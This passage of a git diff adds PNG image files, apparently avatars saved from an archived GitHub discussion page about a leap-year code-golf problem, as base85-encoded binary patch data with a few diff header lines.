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 S39%yp0000}sP)qc!vaE-#a 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..c3d50169893d86d397594dacdbcf7a1f2ab28289 GIT binary patch literal 1536 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 